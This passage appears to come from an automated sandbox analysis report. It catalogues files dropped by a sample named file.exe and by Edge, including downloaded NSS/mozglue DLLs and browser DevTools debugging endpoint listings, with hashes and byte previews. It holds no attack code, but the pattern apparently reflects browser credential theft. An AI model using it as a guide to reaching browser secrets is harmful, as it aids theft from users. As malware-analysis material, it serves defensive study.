Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".J.7.L.7.N.C.Q.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.x.I.d.r.A.O.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9049292763174086
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xSpxl9Il8ukfG67Q98s5yuE5XH+rT/Edatqld/vc:aMdYOfG67G8s5yuEperT/eatqE
MD5:	8A25A7C7A8824DAFEA10A632E51D213D
SHA1:	7171FA39501120DB7175E97604E5C9456FE91144
SHA-256:	D4831191B2445F4D2A532F091DBF920F96111869C26FF237E1D10188348D723A
SHA-512:	F1A5238D7ABB396CE2B23F7E7B566885D0BC10CDCADB19BAF733A02EAA58579A3C1C858F1AD4862FDB25ED17B4FC18EE6F961CC0AE1E1CD22C87BBA7D4B96E4D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".O.h.I.l.Z.f.V.I.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.x.I.d.r.A.O.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.38468070938596
Encrypted:	false
SSDEEP:	96:6NnQCYcHQCNNnQgbQGNnQLaZ9QL2NnQtdgEQJNnQsQ7NnQkHtDQkQNnQMwQ+NnQI:6NDYUNN/NzNscNgNBwNTKNWicw
MD5:	30A532F91A8F2E4E484A7A0CEE5FB9BF
SHA1:	900D3F1AB1162AA46C3D886F69D02A2829FE5859
SHA-256:	0A9D16F1E98EA87D344DA9A1D0AACA4D5E4EA902C87D65CC4AB232031AA2A2F3
SHA-512:	08A587A867A61B73E1F91B8BC79344E94214227BAFCC3C439C35A367F803DBFDA06AFDBCD7EE082D006F38AA8D3787F143BF967CAD110FB4AF260F5B7B5357BC
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A475CF561332784F4DDB14F749796708",.. "id": "A475CF561332784F4DDB14F749796708",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A475CF561332784F4DDB14F749796708"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/86D6A679E843996E5903C08C7B3B696C",.. "id": "86D6A679E843996E5903C08C7B3B696C",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/86D6A679E843996E5903C08C7B3B696C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.370339019181449
Encrypted:	false
SSDEEP:	48:SfNaoQhTEQTfNaoQ5PkiPkHQ5PkyfNaoQLb5QLXfNaoQPF0UrU0U8Q0:6NnQhTEQLNnQ5/6Q5ZNnQ5QzNnQN0Urr
MD5:	2FD15BCF1C4764C1D97BA5EF40144778
SHA1:	95D7634B73F3C282641FB93D7C105C91109FA644
SHA-256:	1206C96D9375AEB768275242FF17E3EC5681E385DEB9555138EAC8CA9FF82AA0
SHA-512:	80D8AFA785D1D8FEFD470BC6E7D88E78FD3FCD506F1F6FFA7160688539CA53A9B5FCBDDC0157F54B8811064A9BDBF7ABDB708927F2568C93BCDAA199CCE01F4F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B878AB95407095F6672493A2A95E05C9",.. "id": "B878AB95407095F6672493A2A95E05C9",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B878AB95407095F6672493A2A95E05C9"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8063A3D29731CB0B90C29274A7CBD8C4",.. "id": "8063A3D29731CB0B90C29274A7CBD8C4",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8063A3D29731CB0B90C29274A7CBD8C4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\093ae4f3-e924-49d8-8a5b-ae7ca15dfa7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\28586e00-3e22-4793-8ad3-c1d1af00bf75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\5a91bd57-0381-4e3d-b16f-6f54e8d7b5b0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1514509
Entropy (8bit):	7.991671108060091
Encrypted:	true
SSDEEP:	24576:84craUkg9TSJwWVj55yrEOUgIEBO0S8pzP+mcYhV1w1XUfvLu:LcrLf9T0jtOUxEDNpzpcY/1w1XiTu
MD5:	61935F2024A9ED39825F524054E333E9
SHA1:	A8E157F03EC6B87CAF823554E2817FF28BB639DB
SHA-256:	1332CBC8946F8BD4EB5B1FF2046DB45CFEB5FACD94A5A5F60995041B13DB91ED
SHA-512:	D95B05C9203B80B64AA2A99D6BD5068E20A59D74069561B19CF78794A07937B27CD0096BDAE2DE48EA0D67C3E1456CE74892AF24E55A242CDD66EB432AE46E4A
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\889046ad-1076-45f5-b64f-10e7a38c31ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\ca0b2719-94ec-40a8-be6f-4bb3728aee4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.412519962266141
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0cDh5fJn0cf5M:JIVuwEw5MUFZLBQLt/dM
MD5:	13D9B23DD05C2FE76DE46AD658BC7511
SHA1:	0245C176F94CE08E92A828F7422BCD31034719A6
SHA-256:	E46A0535EC81A0537F63498AB04AC2A2E34B83398B95C8DBFF83B70A7A53DBD6
SHA-512:	93A6DB752E1B5F7C02CA303F8D5DAB3BB657471E5D8B44F03C8ABC93254AC2DBBAAED737F21E0DC96471E72E702441EF30C1BB0076336EC3F3C863D5F84C0862
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\eaf94e86-d463-4a99-ad36-15f62bdf52ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\eca76b28-8419-4c0e-99d2-702fa64dd4fb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
